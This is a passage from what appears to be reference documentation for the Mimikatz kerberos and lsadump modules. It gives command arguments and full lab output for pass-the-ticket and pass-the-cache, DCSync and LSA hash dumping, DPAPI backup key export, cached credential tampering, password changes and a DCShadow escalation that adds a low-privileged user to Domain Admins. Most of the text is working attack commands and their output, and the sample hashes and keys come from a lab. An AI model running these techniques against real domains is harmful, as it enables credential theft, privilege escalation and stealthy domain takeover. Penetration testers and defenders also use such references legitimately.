cache](https://www.thehacker.recipes/ad/movement/kerberos/ptc). This is similar to [`kerberos::ptt`](/mimikatz/modules/kerberos/ptt) that does pass the ticket but is different in the sense that the ticket used is a `.ccache` ticket instead of a `.kirbi` one. ``` mimikatz # kerberos::ptc m3g9tr0n@HACKLAB.LOCAL_krbtgt~HACKLAB.LOCAL@HACKLAB.LOCAL.ccache Principal : (01) : m3g9tr0n ; @ HACKLAB.LOCAL Data 0 Start/End/MaxRenew: 17/11/2021 21:48:12 ; 18/11/2021 07:48:12 ; 24/11/2021 12:03:10 Service Name (02) : krbtgt ; HACKLAB.LOCAL ; @ HACKLAB.LOCAL Target Name (02) : krbtgt ; HACKLAB.LOCAL ; @ HACKLAB.LOCAL Client Name (01) : m3g9tr0n ; @ HACKLAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 0000000000000000000000000000000000000000000000000000000000000000 Ticket : 0x00000000 - null ; kvno = 2 [...] * Injecting ticket : OK ``` # ptt `kerberos::ptt` is used for [passing the ticket](https://www.thehacker.recipes/ad/movement/kerberos/ptt) by injecting one or may Kerberos tickets in the current session. The ticket can either be a TGT (Ticket-Granting Ticket) or an ST (Service Ticket). It has the following command line arguments: * `/filename` - the ticket's filename (can be multiple) * `/directory` - a directory path, all `.kirbi` files inside will be injected. ``` mimikatz # kerberos::ptt 0-40e10000-m3g9tr0n@krbtgt~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi * File: '0-40e10000-m3g9tr0n@krbtgt~HACKLAB.LOCAL-HACKLAB.LOCAL.kirbi': OK ``` # purge `kerberos::purge` purges all kerberos tickets similar to [`klist purge`](https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/klist). ``` mimikatz # kerberos::purge Ticket(s) purge for current session is OK ``` # tgt `kerberos::tgt` retrieves a TGT (Ticket-Granting Ticket) for the current user. ``` mimikatz # kerberos::tgt Kerberos TGT of current session : Start/End/MaxRenew: 17/11/2021 21:48:12 ; 18/11/2021 07:48:12 ; 24/11/2021 12:03:10 Service Name (02) : krbtgt ; HACKLAB.LOCAL ; @ HACKLAB.LOCAL Target Name (--) : @ HACKLAB.LOCAL Client Name (01) : m3g9tr0n ; @ HACKLAB.LOCAL Flags 40e10000 : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ; Session Key : 0x00000012 - aes256_hmac 0000000000000000000000000000000000000000000000000000000000000000 Ticket : 0x00000012 - aes256_hmac ; kvno = 0 [...] ** Session key is NULL! It means allowtgtsessionkey is not set to 1 ** ``` # lsadump # backupkeys `lsadump::backupkeys` dumps the DPAPI backup keys from the Domain Controller (cf. [dumping DPAPI secrets](https://www.thehacker.recipes/ad/movement/credentials/dumping/dpapi-protected-secrets)). By holding the backup keys any user's master key can be decrypted and as a result the users' secrets can be decrypted. It has the following command line arguments: * `/export`: export the output as `.pvk` which means "*private key*" * `/secret`: *at the time of writing, November 1st 2021, we don't know what this option refers to* * `/system`: the target DC hostname * `/guid`: The `szGuid` value. It can be found at `C:\Users\\AppData\Roaming\Microsoft\Credentials`, `C:\Users\\AppData\Local\Microsoft\Credentials` and `C:\Users\\AppData\Roaming\Microsoft\Protect\SID`. It can also be obtained with [sekurlsa::dpapi](https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/dpapi) {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::backupkeys /export Current prefered key: {e3364acb-379c-4775-bef7-c3c1e1992589} * RSA key |Provider name : Microsoft Strong Cryptographic Provider |Unique name : |Implementation: CRYPT_IMPL_SOFTWARE ; Algorithm : CALG_RSA_KEYX Key size : 2048 (0x00000800) Key permissions: 0000003f ( CRYPT_ENCRYPT ; CRYPT_DECRYPT ; CRYPT_EXPORT ; CRYPT_READ ; CRYPT_WRITE ; CRYPT_MAC ; ) Exportable key : YES Private export : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.keyx.rsa.pvk' PFX container : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.pfx' Export : OK - 'ntds_capi_0_e3364acb-379c-4775-bef7-c3c1e1992589.der' Compatibility prefered key: {b799ff33-a573-444f-bc86-b8aeb36fcb3f} * Legacy key 561acf46e03db74112af7412402415d80dfe92b0fbf57588358647007d46f28f 8f6ca1990c0fee951bd52e69e9bdfbf9c8e07be0033dff21a71d192447668096 f6e1199e5b8b61fb3ffb758a92757efe863307cefd7d773476053286c08dc7c6 87671f0e7374ccc179e6cf718673beb80dfe12bf03c7914a767a959b66478498 14527ee085f014c7574d9b9388dae00f42ee91f96e97c8272d6955e51e2d7304 67be8b32a706203bacf3abaca3d9f1ec90e4d63290e39d2e6c2465fc0e195b7a 2baadcb281537863a37c2e0f76d025ecb7a23b81970dbe2ab8e77b3b2fb617d7 bb7b81126e17a60d3023b0b8db159dd927f49136ce14f29565d3d9794d2f9c79 Export : OK - 'ntds_legacy_0_b799ff33-a573-444f-bc86-b8aeb36fcb3f.key' ``` # cache `lsadump::cache` can be used to enumerate Domain Cached Credentials from registry. It does so by acquiring the `SysKey` to decrypt `NL$KM` (binary protected value) and then `MSCache(v1/v2)`. The registry key for the Domain Cached Credentials is `HKEY_LOCAL_MACHINE\SECURITY\Cache` The number of cached entries is defined in `CachedLogonCount` in `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon` It has the following command line arguments: * `/sam`: the SAM hive * `/system`: The SYSTEM hive * `/security`: The SECURITY hive * `/user`: An existing username to modify the cached credentials * `/password`: The new password of the specified user * `/dcc`: The MS-Cache hash to be replaced * `/ntlm`: The NTLM hash which will calculate the MS-Cache * `/kiwi`: [Undocumented parameter](https://security.stackexchange.com/questions/182986/replacing-cached-domain-credentials-in-security-hive/185531#185531) which modifies the user's cached password to **mimikatz** * `/subject`: The subject's certificate name. This name must conform to the X.500 standard. The simplest method is to specify the name in double quotes, preceded by `CN=` (e.g. `CN=myName`) ([more info](https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-2.0/bfsktky3\(v=vs.80\)?redirectedfrom=MSDN)). {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::cache Domain : WIN10 SysKey : 7e6804db6db0bbc15372ddf840962151 Local name : WIN10 ( S-1-5-21-1604892360-3618202543-1602915806 ) Domain name : hacklab ( S-1-5-21-2725560159-1428537199-2260736313 ) Domain FQDN : hacklab.local Policy subsystem is : 1.18 LSA Key(s) : 1, default {9b57ea93-9de6-5d50-0497-034513ddc692} [00] {9b57ea93-9de6-5d50-0497-034513ddc692} 62dd3714cc6d8e08f2c90bb18d949eb4e7fddb2478342640c5dc78a68d165e05 * Iteration is set to default (10240) [NL$1 - 10/30/2021 8:53:10 PM] RID : 000006c2 (1730) User : hacklab\m3g9tr0n MsCacheV2 : 7d3fb233bff87d75413d2c813df73fec [NL$2 - 9/26/2021 2:46:02 PM] RID : 000001f4 (500) User : hacklab\Administrator MsCacheV2 : fadb59e7f2f9a9bf6557ad4fa09e828f [NL$3 - 10/18/2021 3:56:38 PM] RID : 000006c4 (1732) User : hacklab\optimus MsCacheV2 : 98982877b0b57416d47a9a8f21331536 ``` ### Modify a DCC with `/kiwi` ``` mimikatz # lsadump::cache /user:hacklab\optimus /kiwi > User cache replace mode ! * user : hacklab\optimus * password : mimikatz <-------------------- Default Password * ntlm : 60ba4fcadc466c7a033c178194c03df6 Domain : WIN10 SysKey : 7e6804db6db0bbc15372ddf840962151 Local name : WIN10 ( S-1-5-21-1604892360-3618202543-1602915806 ) Domain name : hacklab ( S-1-5-21-2725560159-1428537199-2260736313 ) Domain FQDN : hacklab.local ...Output Omitted... ``` {% hint style="warning" %} When changing the cached password for a user, all the related DPAPI data will be affected. {% endhint %} ### Modify a DCC with `/ntlm` ``` mimikatz # lsadump::cache /user:hacklab\optimus /ntlm:647d6f9b59c899c5fe4dad779522b8c5 > User cache replace mode ! * user : hacklab\optimus * ntlm : 647d6f9b59c899c5fe4dad779522b8c5 Domain : WIN10 SysKey : 7e6804db6db0bbc15372ddf840962151 ``` # changentlm `lsadump::changentlm` can be used to change the password of a user (cf. [ZeroLogon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon)). It accepts either a clear-text password or an NT hash. [According to Benjamin](https://twitter.com/gentilkiwi/status/872588656967548928?s=20) this option avoids the "setpassword" event but it requires to know the previous password or NT hash. It has the following command line arguments: * `/newpassword`: The new clear text password for the target user * `/oldpassword` : The existing clear text password to change * `/user`: the target user account * `/oldntlm` or `/old` : The existing NT hash to change * `/newntlm` or `/new` : The new NT hash for the target user * `/server`: The domain controller FQDN {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} {% hint style="info" %} A low privileged user can also utilise it to change his/her own password. {% endhint %} ``` mimikatz # lsadump::changentlm /server:DC.hacklab.local /user:adriane.lena /old:cded5acd2c1fc0f816c63ef317937deb /newpassword:WhatEverYouWant OLD NTLM : cded5acd2c1fc0f816c63ef317937deb NEW NTLM : e0e12e5f0fba8f1efbff3a7ceea6e907 Target server: DC.hacklab.local Target user : adriane.lena Domain name : hacklab Domain SID : S-1-5-21-2725560159-1428537199-2260736313 User RID : 1479 >> Change password is a success! ``` While [lsadump::setntlm](/mimikatz/modules/lsadump/setntlm) seems to work multiple times for the same user account, this is not the case for `lsadump::changentlm`. According to this [issue](https://github.com/gentilkiwi/mimikatz/issues/201) on mimikatz's Github, a user cannot change his password more than one per day. ``` mimikatz # lsadump::changentlm /server:DC.hacklab.local /user:optimus /old:b09a14d2d325026f8986d4a874fbcbc7 /newpassword:WhatEverYouWant OLD NTLM : b09a14d2d325026f8986d4a874fbcbc7 NEW NTLM : e0e12e5f0fba8f1efbff3a7ceea6e907 Target server: DC.hacklab.local Target user : optimus Domain name : hacklab Domain SID : S-1-5-21-2725560159-1428537199-2260736313 User RID : 1732 ERROR kuhl_m_lsadump_changentlm_callback ; Bad new NTLM hash or password! (restriction) ``` # dcshadow `lsadump::dcshadow` performs a DCShadow attack. DCShadow is a feature in [mimikatz](https://github.com/gentilkiwi/mimikatz) located in the [lsadump](https://tools.thehacker.recipes/mimikatz/modules/lsadump) module. It simulates the behavior of a Domain Controller (using protocols like RPC used only by the DCs) to inject its own data, **bypassing most of the common security controls and including many SIEMs**. It shares some similarities with the DCSync attack [`lsadump::dcsync`](/mimikatz/modules/lsadump/dcsync). More information for DCShadow can be found on [dcshadow.com](https://www.dcshadow.com/). **Command Line argument(s) to run as SYSTEM:** * `/kill`: it is used when you want to delete an object * `/object`: The Distinguished Name (DN) of the Active Directory object to modify * `/domain`: the domain to target. The default is the current domain * `/dc`: the FQDN of the domain controller * `/attribute`: The name of the [Active Directory Schema attribute](https://docs.microsoft.com/en-us/windows/win32/adschema/attributes-all) to modify * `/value`: the object's value which is depended on the specified attribute * `/replOriginatingUsn`: The [Update Sequence Number](https://adsecurity.org/?p=515) * `/multiple`: an array of values (specifying multiple values) * `/replOriginatingTime`: As the name instructs the replication originating time. More info can be found at [this](https://premglitz.wordpress.com/2013/03/20/how-the-active-directory-replication-model-works/) guide * `/replOriginatingUid`: It specifies the UID of the domain controller which performed/requested the change. More info can be found at [this](https://premglitz.wordpress.com/2013/03/20/how-the-active-directory-replication-model-works/) guide **Command Line Argument(s) to run in push mode as Domain or Enterprise Admin:** * `/push`: push the changes * `/stack`: stack the changes and then replicate them all * `/schema`: The active directory schema partition * `/config`: The active directory configuration partition * `/root`: The active directory root * `/domain`: the domain to target. The default is the current domain * `/dc`: the FQDN of the domain controller * `/computer`: The FQDN of the computer to register. The default is the computer on which DCShadow is executed. * `/viewstack`: View the stack of the changes which are going to be replicated * `/clearstack`: it clears the stack * `/manualregister`: it registers the server manually * `/manualunregister`: It unregisters the server manually * `/manualpush`: it pushes the changes manually ## Escalate a domain user In the following example the low privileged user `hacklab.local\optimus` will be added to the "Domain Admins" group: ``` C:\Users>net user optimus /domain User name optimus Full Name optimus prime Comment DCShadow ROCKS User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/31/2021 2:39:23 PM Password expires Never Password changeable 11/1/2021 2:39:23 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 11/7/2021 3:32:28 PM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Users The command completed successfully. ``` ### Obtain debug privileges From a command line opened as admin, obtain an `NT AUTHORITY\SYSTEM` privilege. ``` mimikatz # privilege::debug Privilege '20' OK ``` ``` mimikatz # token::elevate Token Id : 0 User name : SID name : NT AUTHORITY\SYSTEM 724 {0;000003e7} 1 D 43713 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;0027cbc0} 2 F 3960324 hacklab\m3g9tr0n S-1-5-21-2725560159-1428537199-2260736313-1730 (12g,24p) Primary * Thread Token : {0;000003e7} 1 D 28479033 NT AUTHORITY\SYSTEM S-1-5-18 (04g,21p) Impersonation (Delegation) ``` ### Modify the group id ``` mimikatz # lsadump::dcshadow /object=optimus /attribute=primaryGroupID /value=512 ** Domain Info ** Domain: DC=hacklab,DC=local Configuration: CN=Configuration,DC=hacklab,DC=local Schema: CN=Schema,CN=Configuration,DC=hacklab,DC=local dsServiceName: ,CN=Servers,CN=hacklab-site,CN=Sites,CN=Configuration,DC=hacklab,DC=local domainControllerFunctionality: 7 ( WIN2016 ) highestCommittedUSN: 80938 ** Server Info ** Server: DC.hacklab.local InstanceId : {34cb3b05-57f5-4699-b037-5795637d46bf} InvocationId: {34cb3b05-57f5-4699-b037-5795637d46bf} Fake Server (not already registered): Win10.hacklab.local ** Attributes checking ** #0: primaryGroupID ** Objects ** #0: optimus DN:CN=optimus prime,CN=Users,DC=hacklab,DC=local primaryGroupID (1.2.840.113556.1.4.98-90062 rev 1): 512 (00020000) ** Starting server ** > BindString[0]: ncacn_ip_tcp:Win10[53586] > RPC bind registered > RPC Server is waiting! == Press Control+C to stop == cMaxObjects : 1000 cMaxBytes : 0x00a00000 ulExtendedOp: 0 pNC->Guid: {9901d757-a63d-478f-a96a-f8be1a8308ac} pNC->Sid : S-1-5-21-2725560159-1428537199-2260736313 pNC->Name: DC=hacklab,DC=local SessionKey: c6aba9b6a2391d12b5f5b9b8c7cbf8d3cf0070202997d47aff1f96004638b815 1 object(s) pushed > RPC bind unregistered > stopping RPC server > RPC server stopped ``` ### Push the changes To push the changes a second CMD with Domain or Enterprise Admin privileges must be opened: ``` mimikatz # lsadump::dcshadow /push ** Domain Info ** Domain: DC=hacklab,DC=local Configuration: CN=Configuration,DC=hacklab,DC=local Schema: CN=Schema,CN=Configuration,DC=hacklab,DC=local dsServiceName: ,CN=Servers,CN=hacklab-site,CN=Sites,CN=Configuration,DC=hacklab,DC=local domainControllerFunctionality: 7 ( WIN2016 ) highestCommittedUSN: 80939 ** Server Info ** Server: DC.hacklab.local InstanceId : {34cb3b05-57f5-4699-b037-5795637d46bf} InvocationId: {34cb3b05-57f5-4699-b037-5795637d46bf} Fake Server (not already registered): Win10.hacklab.local ** Performing Registration ** ** Performing Push ** Syncing DC=hacklab,DC=local Sync Done ** Performing Unregistration ** ``` After the successful pushing the user is now part of the "Domain Admins": ``` C:\Users\Administrator\Desktop\x64>net user optimus /domain User name optimus Full Name optimus prime Comment DCShadow ROCKS User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 10/31/2021 2:39:23 PM Password expires Never Password changeable 11/1/2021 2:39:23 PM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 11/7/2021 3:32:28 PM Logon hours allowed All Local Group Memberships Global Group memberships *Domain Admins The command completed successfully. ``` # dcsync `lsadump::dcsync` can be used to do a [DCSync](https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync) and retrieve domain secrets (cf. [Pass-the-Ticket](https://www.thehacker.recipes/ad/movement/kerberos/ptt)). This command uses the Directory Replication Service Remote protocol ([MS-DRSR](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47?redirectedfrom=MSDN)) to request from a domain controller to synchronize a specified entry. It's the same protocol that domain controllers are using between them. It has the following command line arguments: * `/all` : It will DCSync the entire active directory database * `/user`: perform syncing only for the specified user * `/export` : Save the output * `/csv` : export to csv * `/dc` or `/kdc`: Specify the Domain Controller to connect to and gather data * `/guid` : The GUID of the object to sync credentials. It can be obtained with [`net::trust`](/mimikatz/modules/net/trust). The following command line arguments of `lsadump::dcsync` can be used for [ZeroLogon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon) exploitation: * `/authuser`: the domain controller's machine account * `/authdomain`: the NetBIOS of the domain * `/authpassword`: it has to be set to blank `""` * `/authntlm`: user NTLM authentication ``` mimikatz # lsadump::dcsync /domain:hacklab.local /user:hacklab\Administrator [DC] 'hacklab.local' will be the domain [DC] 'DC.hacklab.local' will be the DC server [DC] 'hacklab\Administrator' will be the user account [rpc] Service : ldap [rpc] AuthnSvc : GSS_NEGOTIATE (9) Object RDN : Administrator ** SAM ACCOUNT ** SAM Username : Administrator Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000200 ( NORMAL_ACCOUNT ) Account expiration : 01/01/1601 01:00:00 Password last change : 24/09/2021 16:24:41 Object Security ID : S-1-5-21-2725560159-1428537199-2260736313-500 Object Relative ID : 500 Credentials: Hash NTLM: b09a14d2d325026f8986d4a874fbcbc7 ntlm- 0: b09a14d2d325026f8986d4a874fbcbc7 ntlm- 1: a06b19f88e0432e937a67fb6848e56bd lm - 0: b28dd7b27e8cf0d2293087d70fc35769 Supplemental Credentials: * Primary:NTLM-Strong-NTOWF * Random Value : a367950918bb2ccabb50ab88e8ffb09f * Primary:Kerberos-Newer-Keys * Default Salt : HACKLAB.LOCALAdministrator Default Iterations : 4096 Credentials aes256_hmac (4096) : 0c1230dca827b75e872b5e5601eb6b76016412b4dd96b4aeb99a59a43490182c aes128_hmac (4096) : e52cb5008be21bfe2e8429c74659d925 des_cbc_md5 (4096) : 4f45e3a7cd34bc83 * Primary:Kerberos * Default Salt : HACKLAB.LOCALAdministrator Credentials des_cbc_md5 : 4f45e3a7cd34bc83 * Packages * NTLM-Strong-NTOWF * Primary:WDigest * 01 6ca5712f90260e1eb3abd67598e6750a 02 8dffe5b3aefb6e5ae29e628d2ee96a45 03 17be46dc199faf9b0bbda5bad36e3d6e 04 6ca5712f90260e1eb3abd67598e6750a 05 6fc635e3af189352029ce83a2219fa3c 06 510782016677b838b585d4f04d23f98a 07 b358628b75f049cf9e78f5e49bc560a2 08 c40c4076a86fbf852da4cb4bfa721d74 09 bf6734b4833bd61834c48fa6533acb9a 10 3c148f6edbc99e9a489d72fb809ee66b 11 0a100f8d2212e336adf8c429722d3a8c 12 c40c4076a86fbf852da4cb4bfa721d74 13 e649568c12076eba2026544142dc74fd 14 3ef797336ba53aaf034774a4fe8b06dc 15 797740715ee8fa059260c583fef36d5e 16 84aa405aaf242960160143fa357a3c7f 17 bb9ea6391483fa61fba5dced60ea039c 18 3871d21dfa14ede3c56b04ffc5970b1c 19 8e7946ea6e13210cb3ded49e2ff501fa 20 7480b0f8878e31ee2dcf3507fc2dbf54 21 2f7b7c9a2ac171f4417a38a52ef89989 22 3483e4a4ca60cd4b3d0bc66dc900f175 23 e1fa4a98cdab50c99934120090885d90 24 e16cb6277ed064c290498037f5dfe5b3 25 d6b096727b0d7a39cae06afd874247a9 26 f7a5f95bb7f0d0be1d8fe247b875cb29 27 e781f3584bf099e0a485657e832c6e74 28 acb55c0b8828a6660b166fc649708c1c 29 8fd36767c074ca738a81d5c7298295c3 ``` {% hint style="warning" %} When running `lsadump::dcsync` directly on the domain controller, it is not needed to specify the domain in the`/user`. `mimikatz # lsadump::dcsync /user:Administrator /domain:hacklab.local` {% endhint %} # mbc `lsadump::mbc` dumps the Machine Bound Certificate. Devices on which Credential Guard is enabled are using Machine Bound Certificates. ![https://twitter.com/gentilkiwi/status/1194429033750171650](/files/1j0ukLNYbOp5lImEJb7C) ![https://twitter.com/gentilkiwi/status/1194429033750171650](/files/rlVmXLzy1HAElAEpltlV) ![https://twitter.com/gentilkiwi/status/1194429033750171650](/files/qD7LCgDOIsjBn4H9phqF) # netsync `lsadump::netsync` can be used to act as a Domain Controller on a target by doing a [Silver Ticket](https://www.thehacker.recipes/ad/movement/kerberos/forged-tickets#silver-ticket). It then leverages the [Netlogon](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/ff8f970f-3e37-40f7-bd4b-af7336e4792f) to request the RC4 key (i.e. NT hash) of the target computer account. It has the following command line arguments: * `/dc`: The FQDN of the domain controller * `/user`: the machine account of the domain controller * `/ntlm`: the NT hash of the domain controller's machine account * `/account`: the `SamAccountName` of the computer account to target {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "ntlm" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} ``` mimikatz # lsadump::netsync /dc:dc.hacklab.local /user:dc$ /ntlm:5b7ba7b6131a4aab1bbd60ba1a810e53 /account:win7$ Account: win7$ NTLM : 86e5ae81e1fcae2164a7c247af54e148 NTLM-1 : 31d6cfe0d16ae931b73c59d7e0c089c0 ``` # lsa `lsadump::lsa` extracts hashes from memory by asking the LSA server. The `patch` or `inject` takes place on the fly. It has the following command line arguments: * `/name` or `/user` : the target user account * `/id` : the RID (relative identifier) for the target account (500 for Administrator) * `/patch` : Only dumps the LM and NT password hashes * `/inject` : when run on a workstation, it will dump the LM and NT password hashes. When run on domain controller is will dump LM, NT, Wdigest, Kerberos keys and password history. {% hint style="info" %} LM and NT hashes are used to authenticate accounts using the NTLM protocol. These hashes are often called NTLM hash and many documentations, resources, blogpost and tools mix terms. In this case, "NTLM" refers to the NT hash. ([more information](https://www.thehacker.recipes/ad/movement/ntlm)) {% endhint %} {% hint style="warning" %} This command requires elevated privileges (by previously running [privilege::debug](https://tools.thehacker.recipes/mimikatz/modules/privilege/debug) or by executing Mimikatz as the `NT-AUTHORITY\SYSTEM` account). {% endhint %} ``` mimikatz # lsadump::lsa /inject /name:krbtgt Domain : hacklab / S-1-5-21-2725560159-1428537199-2260736313 RID : 000001f6 (502) User : krbtgt * Primary NTLM : b5348d0a20a24a67ff544146a09cd292 LM : Hash NTLM: b5348d0a20a24a67ff544146a09cd292 ntlm- 0: b5348d0a20a24a67ff544146a09cd292 lm - 0: 90e43747fb3e2459bc0fbd4c64a48ab4 * WDigest 01 96336fb9042f4823a864a9a9ea953d92 02 f02b41fe320a26b54de6278bf432ea6b 03 c4d6aef8b8382e686fdf2d8bb9ed4325 04 96336fb9042f4823a864a9a9ea953d92 05 f02b41fe320a26b54de6278bf432ea6b 06 6db8e37630a2ccb50d640b7e0575a75d 07 96336fb9042f4823a864a9a9ea953d92 08 eca32a7c67f70dcd78116b548428644a 09 eca32a7c67f70dcd78116b548428644a 10 65ff3b022e3c992e06672a9013e9e375 11 2faee2bbb7f3ce7eea4da160314992c1 12 eca32a7c67f70dcd78116b548428644a 13 8208f726be15c605b1d9531b3f6ceb68 14 2faee2bbb7f3ce7eea4da160314992c1 15 4097da3573ce0e22b396f673cb338223 16 4097da3573ce0e22b396f673cb338223 17 fa880afaaeb637fafed4121f58ae1c0e 18 20ad95aaa3a05e5bb731bfefbd7ee823 19 d46bc56e4021f6410468193dc7d05e58 20 4d01f91984530f183381bdf5f0605f63 21 1b415947d31439c2e59ecb8a0cd3daeb 22 1b415947d31439c2e59ecb8a0cd3daeb 23 0c54e140ce4d3af2150f66672338f6f3 24 12f6af7e274f18cc1299f792f81610f8 25 12f6af7e274f18cc1299f792f81610f8 26 b68781315989472c4536e52359a0c999 27 293f6790b0e67296db60f201ef15d75b 28 18b300eeed3faeb12fe39754ec4537ef 29 b00feb2fe6a6218228116b62612d6946 * Kerberos Default Salt : HACKLAB.LOCALkrbtgt Credentials des_cbc_md5 : 97ec73858998ae68 * Kerberos-Newer-Keys Default Salt : HACKLAB.LOCALkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : 3ab45a59d37a5a647e0d7d9d942d0e8b77911cff0bd95b16e203cd9503ccdd96 aes128_hmac (4096) : 3c8fc2890213fb9be3d6fb139b1be881 des_cbc_md5 (4096) : 97ec73858998ae68 * NTLM-Strong-NTOWF Random Value : 48d7d89c1608b83db8c568251f8b810f ``` # packages `lsadump::packages` lists the available Windows authentication mechanisms. ``` mimikatz # lsadump::packages Name : Negotiate Description : Microsoft Package Negotiator Capabilities: 00883bb3 ( INTEGRITY ; PRIVACY ; CONNECTION ; MULTI_REQUIRED ; EXTENDED_ERROR ; IMPERSONATION ; ACCEPT_WIN32_NAME ; NEGOTIABLE ; GSS_COMPATIBLE ; LOGON ; RESTRICTED_TOKENS ; APPCONTAINER_CHECKS ; ) MaxToken : 48256 RPCID : 0x0009 (9) Version : 1 Name : NegoExtender Description : NegoExtender Security Package Capabilities: 00913913 ( INTEGRITY ; PRIVACY ; CONNECTION ; IMPERSONATION ; NEGOTIABLE ; GSS_COMPATIBLE ; LOGON ; MUTUAL_AUTH ; NEGO_EXTENDER ; APPCONTAINER_CHECKS ; ) MaxToken : 12000 RPCID : 0x001e (30) Version : 1 Name : Kerberos Description : Microsoft Kerberos V1.0 Capabilities: 028f3bbf ( INTEGRITY ; PRIVACY ; TOKEN_ONLY ; DATAGRAM ; CONNECTION ; MULTI_REQUIRED ; EXTENDED_ERROR ; IMPERSONATION ; ACCEPT_WIN32_NAME ; NEGOTIABLE ; GSS_COMPATIBLE ; LOGON ; MUTUAL_AUTH ; DELEGATION ; READONLY_WITH_CHECKSUM ; RESTRICTED_TOKENS ; APPCONTAINER_CHECKS ; ? ; ) MaxToken : 48000 RPCID : 0x0010 (16) Version : 1 Name : NTLM Description : NTLM Security Package Capabilities: 02882b37 ( INTEGRITY ; PRIVACY ; TOKEN_ONLY ; CONNECTION ; MULTI_REQUIRED ; IMPERSONATION ; ACCEPT_WIN32_NAME ; NEGOTIABLE ; LOGON ; RESTRICTED_TOKENS ; APPCONTAINER_CHECKS ; ? ; ) MaxToken : 2888 RPCID : 0x000a (10) Version : 1 Name : TSSSP Description : TS Service Security Package Capabilities: 00810230 ( CONNECTION ; MULTI_REQUIRED ; ACCEPT_WIN32_NAME ; MUTUAL_AUTH ; APPCONTAINER_CHECKS ; ) MaxToken : 13000 RPCID : 0x0016 (22) Version : 1 Name : pku2u Description : PKU2U Security Package Capabilities: 00a11113 ( INTEGRITY ; PRIVACY ; CONNECTION ; IMPERSONATION ; GSS_COMPATIBLE ; MUTUAL_AUTH ; NEGOTIABLE2 ; APPCONTAINER_CHECKS ; ) MaxToken : 12000 RPCID : 0x001f (31) Version : 1 Name : CloudAP Description : Cloud AP Security Package Capabilities: 00202000 ( LOGON ; NEGOTIABLE2 ; ) MaxToken : 0 RPCID : 0x0024 (36) Version : 1 Name : WDigest Description : Digest Authentication for Windows Capabilities: 00800304 ( TOKEN_ONLY ; IMPERSONATION ; ACCEPT_WIN32_NAME ; APPCONTAINER_CHECKS ; ) MaxToken : 4096 RPCID : 0x0015 (21) Version : 1 Name : Schannel Description : Schannel Security Package Capabilities: 004107b3 ( INTEGRITY ; PRIVACY ; CONNECTION ; MULTI_REQUIRED ; EXTENDED_ERROR ; IMPERSONATION ; ACCEPT_WIN32_NAME ; STREAM ; MUTUAL_AUTH ; APPCONTAINER_PASSTHROUGH ; ) MaxToken : 24576 RPCID : 0x000e (14) Version : 1 Name : Microsoft Unified Security Protocol Provider Description : Schannel Security Package Capabilities: 004107b3 ( INTEGRITY ; PRIVACY ; CONNECTION ; MULTI_REQUIRED ; EXTENDED_ERROR ; IMPERSONATION ; ACCEPT_WIN32_NAME ; STREAM ; MUTUAL_AUTH ; APPCONTAINER_PASSTHROUGH ; ) MaxToken : 24576 RPCID : 0x000e (14) Version : 1 Name : Default TLS SSP Description : Schannel Security Package Capabilities: 004107b3 ( INTEGRITY ; PRIVACY ; CONNECTION ; MULTI_REQUIRED ; EXTENDED_ERROR ; IMPERSONATION ; ACCEPT_WIN32_NAME ; STREAM ; MUTUAL_AUTH ; APPCONTAINER_PASSTHROUGH ; ) MaxToken : 24576 RPCID : 0x000e (14) Version : 1 Name : CREDSSP Description : Microsoft CredSSP Security Provider Capabilities: 00810733 ( INTEGRITY ; PRIVACY ; CONNECTION ; MULTI_REQUIRED ; IMPERSONATION ; ACCEPT_WIN32_NAME ; STREAM ; MUTUAL_AUTH ; APPCONTAINER_CHECKS ; ) MaxToken : 73032 RPCID : 0xffff (65535) Version : 1 ``` # postzerologon `lsadump::postzerologon` is a procedure to update AD domain password and its local stored password remotely mimic `netdom resetpwd`. Experimental and best situation after reboot (cf. [ZeroLogon](https://www.thehacker.recipes/ad/movement/netlogon/zerologon)). It has the following command line arguments: * `/target`: the target domain controller FQDN * `/account`: the target domain controller's `sAMAccountName`. {% hint style="warning" %} Make sure you are aware of the consequences of changing the 